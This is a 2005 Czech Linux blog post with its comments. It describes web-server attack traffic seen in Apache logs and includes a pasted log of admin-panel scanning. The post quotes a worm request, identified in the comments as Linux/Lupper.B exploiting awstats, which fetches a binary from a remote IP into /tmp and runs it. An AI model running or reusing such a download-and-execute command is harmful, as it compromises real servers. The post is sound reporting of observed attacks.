Globální mánie HTTP útoků a Čína

Přihlášení | Registrace

napište » Zprávičky

inzerujte » Pracovní nabídky

Google I/O 2025

dnes 18:11 | IT novinky

Dnes a zítra probíhá vývojářská konference Google I/O 2025. Sledovat lze na YouTube a na síti 𝕏 (#GoogleIO).

Ladislav Hagara | Komentářů: 0

Red Hat Summit 2025

dnes 15:22 | Komunita

V Bostonu probíhá konference Red Hat Summit 2025. Vybrané přednášky lze sledovat na YouTube. Dění lze sledovat na síti 𝕏 (#RHSummit).

Ladislav Hagara | Komentářů: 0

Red Hat Enterprise Linux 10

dnes 15:00 | Nová verze

Společnost Red Hat oficiálně oznámila vydání Red Hat Enterprise Linuxu 10. Vedle nových vlastností přináší také aktualizaci ovladačů a předběžné ukázky budoucích technologií. Podrobnosti v poznámkách k vydání.

Ladislav Hagara | Komentářů: 1

Home Assistant Community Day

dnes 12:22 | Pozvánky

Tuto sobotu 24. května se koná historicky první komunitní den projektu Home Assistant. Zváni jsou všichni příznivci, nadšenci a uživatelé tohoto projektu. Pro účast je potřebná registrace. Odkazy na akce v Praze a v Bratislavě.

jose17 | Komentářů: 0

Have I Been Pwned 2.0

dnes 04:44 | IT novinky

Troy Hunt představil Have I Been Pwned 2.0, tj. nový vylepšený web služby, kde si uživatelé mohou zkontrolovat, zda se jejich hesla a osobní údaje neobjevili v únicích dat a případně se nechat na další úniky upozorňovat.

Ladislav Hagara | Komentářů: 13

Microsoft představil textový editor Edit bežící v terminálu

včera 23:22 | Zajímavý software

Microsoft představil open source textový editor Edit bežící v terminálu. Zdrojové kódy jsou k dispozici na GitHubu pod licencí MIT.

Ladislav Hagara | Komentářů: 7

Windows Subsystem for Linux je nově open source

včera 22:22 | Zajímavý software

V Seattlu a také online probíhá konference Microsoft Build 2025. Microsoft představuje své novinky. Windows Subsystem for Linux je nově open source. Zdrojové kódy jsou k dispozici na GitHubu pod licencí MIT.

Ladislav Hagara | Komentářů: 0

Turris Sentinel – co přinesl rok 2024

včera 13:11 | Zajímavý článek

Z příspěvku Turris Sentinel – co přinesl rok 2024 na blogu CZ.NIC: "Za poslední rok (únor 2024 – únor 2025) jsme zachytili 8,3 miliardy incidentů a to z 232 zemí a z jejich závislých území. Tyto útoky přišly od 6,2 milionu útočníků (respektive unikátních adres). SMTP minipot je stále nejlákavější pastí, zhruba 79 % útoků bylo směřováno na tento minipot, 16 % útoků směřovalo na minipot Telnet, 3 % útoků směřovaly na minipot HTTP a 2 % na minipot FTP. Dále jsme zaznamenali 3,2 milionu unikátních hesel a 318 tisíc unikátních loginů, které útočníci zkoušeli."

Ladislav Hagara | Komentářů: 1

GIMP 3.0.4

včera 12:44 | Nová verze

Byla vydána (Mastodon, 𝕏) nová verze 3.0.4 svobodné aplikace pro úpravu a vytváření rastrové grafiky GIMP (GNU Image Manipulation Program). Přehled novinek v oznámení o vydání a v souboru NEWS na GitLabu. Nový GIMP je již k dispozici také na Flathubu.

Ladislav Hagara | Komentářů: 0

Vivaldi 7.4

včera 12:33 | Nová verze

Byla vydána nová stabilní verze 7.4 webového prohlížeče Vivaldi (Wikipedie). Postavena je na Chromiu 136. Přehled novinek i s náhledy v příspěvku na blogu.

Ladislav Hagara | Komentářů: 0

Centrum | Napsat | Starší

navrhněte » Anketa

Jaký je váš oblíbený skriptovací jazyk?

bash (60%)

python (23%)

perl (9%)

powershell (2%)

batch (0%)

vbscript (0%)

jiný, uvedu v diskusi (6%)

Celkem 47 hlasů

Komentářů: 5, poslední dnes 20:57

Rozcestník

AbcLinuxu

HDmag.cz

Luboš Doležel (Doli) - Doliho blog

Aktuální zápisy

? Archív

? Oblíbené stránky

? Současný desktop

? Navigace

Nej blogů na AbcLinuxu

Nejčtenější za poslední měsíc

Nejkomentovanější za poslední měsíc

AbcLinuxu:/ Blogy / Doliho blog / Ostatní / Globální mánie HTTP útoků a Čína

Štítky: Apache, Internet, sítě, SSH, stahování, wget

Globální mánie HTTP útoků a Čína

16.11.2005 21:04 | Přečteno: 1411× | Ostatní | poslední úprava: 16.11.2005 21:10

Na svůj free vserver u Pípni jsem si dal Apache 2. To, že někdo občas pálí do SSH mě nijak nepřekvapuje, ale pohled do logu Apache byl pro mě šok.

Vůbec jsem nečekal, že je mánie útoků na webservery tak veliká. Už jenom za půlhodinu běhu webserveru na mě nějaké čínské univerzity trvale chrlí úplné kraviny a Američani se zase snaží o toto (úryvek z požadavku):

echo;echo YYY;cd /tmp;wget 24.224.174.18/listen;chmod +x listen;./listen 216.102.212.115;echo YYY;echo

Apache mám up2date, stránky tam prakticky zatím žádné nejsou, takže mě nijak neohrožují, ale i tak se odhodlávám k jednomu kroku: začít blokovat celé čínské ranky IP adres. Číňani mě nezajímají a jediné, co z jejich super země přes internet ke mě jde, jsou jen útoky a spam, kterému nerozumím.

Ale tohle není jediným důvodem, proč tohle píšu. Nedavno jsem něco stahoval a shodou náhod byl server v Číně. Překvapila mě velice nízká rychlost přenosu, která se příliš neliší ani u jiných čínských serverů a neliší se ani když zkusím přenos z jiného místa (kde mám lepší připojení). Ztráty paketů jsou šílené.

Skoro bych myslel, že je to délkou trasy do Číny...ale jiné státy (Austrálie, Japonsko, Jižní Korea) jsou na tom o poznání lépe. Častokrát slyším, že Čína není tak zlá, když se u nich může jakž takž svobodně brouzdat po internetu - a já se ptám: je tomu opravdu tak? Podle mých odhadů si toho moc ze zahraničí ani nepřečtou, protože by u toho loadování za chvíli zestárli...

Hodnocení: -

zatím nehodnoceno

špatné • dobré

Tiskni Sdílej:

Komentáře

Nástroje: Začni sledovat (2) ? , Tisk

Vložit další komentář

16.11.2005 21:12 vencour | skóre: 56 | blog: Tady je Vencourovo | Praha+západní Čechy
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Odpovědět | Sbalit | Link | Blokovat | Admin

Jak jsem slyšel, je v Číně cenzura netu. Tohle by to potvrzovalo. P.S. v trace je vidět časová dostupnost - dá se z ní něco vyčíst?

Ty nejhlubší objevy nečekají nutně za příští hvězdou. Jsou uvnitř nás utkány do vláken, která nás spojují, nás všechny.

16.11.2005 21:15 Luboš Doležel (Doli) | skóre: 98 | blog: Doliho blog | Kladensko
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Vidím jen to, že za hranicemi (nebo vlastně na hranicích) se s pakety dějí divné věci - nahodile se zpožďují a ztrácejí se.

17.11.2005 16:57 JiK | skóre: 13 | blog: Jirkoviny | Virginia
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

zadnou cenzuru jsem nepozoroval, prijde mi to jako FUD, zil jsem v Shanghai nekolik mesicu, a zrizeni pevne linky a ADSL bylo vyrazne rychlejsi nez v Cechistanu.

Nenechte se pomylit, on v Cine zadny komunismus ani socialismus neni, tam je tak ostry kapitalismus ze by se z toho nam, lenivym evropanum jen protacely panenky (i tem kdo voli pravici).

Zdarma neni nic, od lekarske pece, pres skolstvi, kdy musis platit skolne uz od ZS jinak budes negramotny rolnik co taha pluh misto dobytka, statni firmy prakticky neexistuji, obchody maj otevreno 7-24 a stejne tak neexistuji odbory, soboty a nedele a jine socialisticke hovadiny...

Jirka Cech

17.11.2005 18:42 tomasgn | skóre: 23 | JN89GE
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

BTW, ja tedy soboty a nedele za (socialisticke) hovadiny nepovazuji. naopak povazuji za hovadinu otviraci dobu vsude mozne od nevidim do nevidim.

16.11.2005 21:17 Luboš Doležel (Doli) | skóre: 98 | blog: Doliho blog | Kladensko
Rozbalit Rozbalit vše Spam

Odpovědět | Sbalit | Link | Blokovat | Admin

Jinak tady vidíte, proč nemám rád Čínu...kdybych tomu spamu alespoň rozuměl - ale takhle :-(

Screenshot

17.11.2005 10:47 Nejsemtu | skóre: 14 | blog: Nejde Smazat
Rozbalit Rozbalit vše Re: Spam

http://babel.altavista.com

Používám na prohlížení japonských a čínských stránek. Možná by to i ten spam přeložilo ;)).

16.11.2005 21:30 Ondřej Čečák | skóre: 33
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Odpovědět | Sbalit | Link | Blokovat | Admin

"Skoro bych myslel, že je to délkou trasy do Číny...ale jiné státy (Austrálie, Japonsko, Jižní Korea)"

Ruku do ohne (resp. nemam chut to overovat) bych za to nedal, ale neni od nas nahodou po tluste lince bliz do Australie nez do Ciny?

-- "Ja vim, on vi, ty pico!"

16.11.2005 21:34 Luboš Doležel (Doli) | skóre: 98 | blog: Doliho blog | Kladensko
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

To hodně závisí na trase...ode mě to do Austrálie jde přes USA, do Číny taky buď přes USA nebo jen přes německý T-Mobile a pak je tam rovnou Čína (ale lag to má taky šílený).

Jinde bude zase jiná trasa.

16.11.2005 21:39 Luboš Doležel (Doli) | skóre: 98 | blog: Doliho blog | Kladensko
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Odpovědět | Sbalit | Link | Blokovat | Admin

Ten požadavek, co jsem napsal do blogu, byl na URL /cgi-bin/awstats/awstats.pl...takže Linux/Lupper.B útočí. Mám v logu i různé požadavky na xmlrpc (taky Lupper).

17.11.2005 08:32 Tomáš | skóre: 25 | Ústí nad Labem
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Odpovědět | Sbalit | Link | Blokovat | Admin

To já občas nacházím v logu apache věci jako:


[Fri Nov 04 05:17:48 2005] [error] [client 200.190.117.50] File does not exist: /var/www/stats
[Fri Nov 04 05:17:48 2005] [error] [client 200.190.117.50] File does not exist: /var/www/awstats.pl
[Fri Nov 04 05:17:49 2005] [error] [client 200.190.117.50] File does not exist: /var/www/cgi
[Fri Nov 04 08:00:59 2005] [error] [client 66.135.37.138] File does not exist: /var/www/PMA
[Fri Nov 04 08:00:59 2005] [error] [client 66.135.37.138] File does not exist: /var/www/mysql
[Fri Nov 04 08:00:59 2005] [error] [client 66.135.37.138] File does not exist: /var/www/admin
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/db
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/dbadmin
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/web
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/admin
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/admin
[Fri Nov 04 08:01:00 2005] [error] [client 66.135.37.138] File does not exist: /var/www/admin
[Fri Nov 04 08:01:01 2005] [error] [client 66.135.37.138] File does not exist: /var/www/mysql-admin
[Fri Nov 04 08:01:01 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpmyadmin2
[Fri Nov 04 08:01:01 2005] [error] [client 66.135.37.138] File does not exist: /var/www/mysqladmin
[Fri Nov 04 08:01:01 2005] [error] [client 66.135.37.138] File does not exist: /var/www/mysql-admin
[client 66.135.37.138] script '/var/www/main.php' not found or unable to stat
[Fri Nov 04 08:01:01 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpMyAdmin-2.5.6
[Fri Nov 04 08:01:02 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpMyAdmin-2.5.4
[Fri Nov 04 08:01:02 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpMyAdmin-2.5.1
[Fri Nov 04 08:01:02 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpMyAdmin-2.2.3
[Fri Nov 04 08:01:02 2005] [error] [client 66.135.37.138] File does not exist: /var/www/phpMyAdmin-2.2.6
[Fri Nov 04 08:01:02 2005] [error] [client 66.135.37.138] File does not exist: /var/www/myadmin
[Fri Nov 04 08:20:20 2005] [error] [client 212.80.76.104] File does not exist: /var/www/register.py
[Fri Nov 04 11:22:07 2005] [error] [client 212.80.76.104] File does not exist: /var/www/register.py
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/PMA
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/mysql
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/admin
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/db
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/dbadmin
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/web
[Fri Nov 04 16:59:48 2005] [error] [client 24.196.79.169] File does not exist: /var/www/admin
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/admin
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/admin
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/mysql-admin
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpmyadmin2
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/mysqladmin
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/mysql-admin
[client 24.196.79.169] script '/var/www/main.php' not found or unable to stat
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpMyAdmin-2.5.6
[Fri Nov 04 16:59:49 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpMyAdmin-2.5.4
[Fri Nov 04 16:59:50 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpMyAdmin-2.5.1
[Fri Nov 04 16:59:50 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpMyAdmin-2.2.3
[Fri Nov 04 16:59:50 2005] [error] [client 24.196.79.169] File does not exist: /var/www/phpMyAdmin-2.2.6
[Fri Nov 04 16:59:50 2005] [error] [client 24.196.79.169] File does not exist: /var/www/myadmin
[Fri Nov 04 20:14:00 2005] [error] [client 195.38.80.134] File does not exist: /var/www/PMA
[Fri Nov 04 20:14:00 2005] [error] [client 195.38.80.134] File does not exist: /var/www/mysql
[Fri Nov 04 21:15:10 2005] [error] [client 195.38.80.134] File does not exist: /var/www/PMA
[Fri Nov 04 21:15:10 2005] [error] [client 195.38.80.134] File does not exist: /var/www/mysql
[Sat Nov 05 05:39:40 2005] [error] [client 24.86.124.214] File does not exist: /var/www/pk
[Sat Nov 05 09:06:31 2005] [error] [client 212.80.76.104] File does not exist: /var/www/register.py
[Sat Nov 05 17:30:38 2005] [error] [client 69.64.32.73] File does not exist: /var/www/cacti
[Sun Nov 06 05:35:28 2005] [error] [client 24.86.124.214] File does not exist: /var/www/pk

Ten stroj sice má veřejnou IP (logicky), ale žádná doména na něj nesměruje, google a jiní o něm ani nemají potuchu, takže co? Někdo projíždí rozsah IP adres a hledá známe exploity?

17.11.2005 09:56 trancelius | skóre: 22
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Někdo projíždí rozsah IP adres a hledá známe exploity?

Spíš něco, uživatel toho stroje o tom asi ani neví :)

17.11.2005 17:13 nway | skóre: 17 | Česká Lípa
Rozbalit Rozbalit vše Re: Globální mánie HTTP útoků a Čína

Jsem na tom úplně stejně, ale crond to uklidí :-)

Založit nové vlákno • Nahoru

Píšeme jinde

ISSN 1214-1267 www.czech-server.cz

Redakce | Inzerce | Podmínky použití | Osobní údaje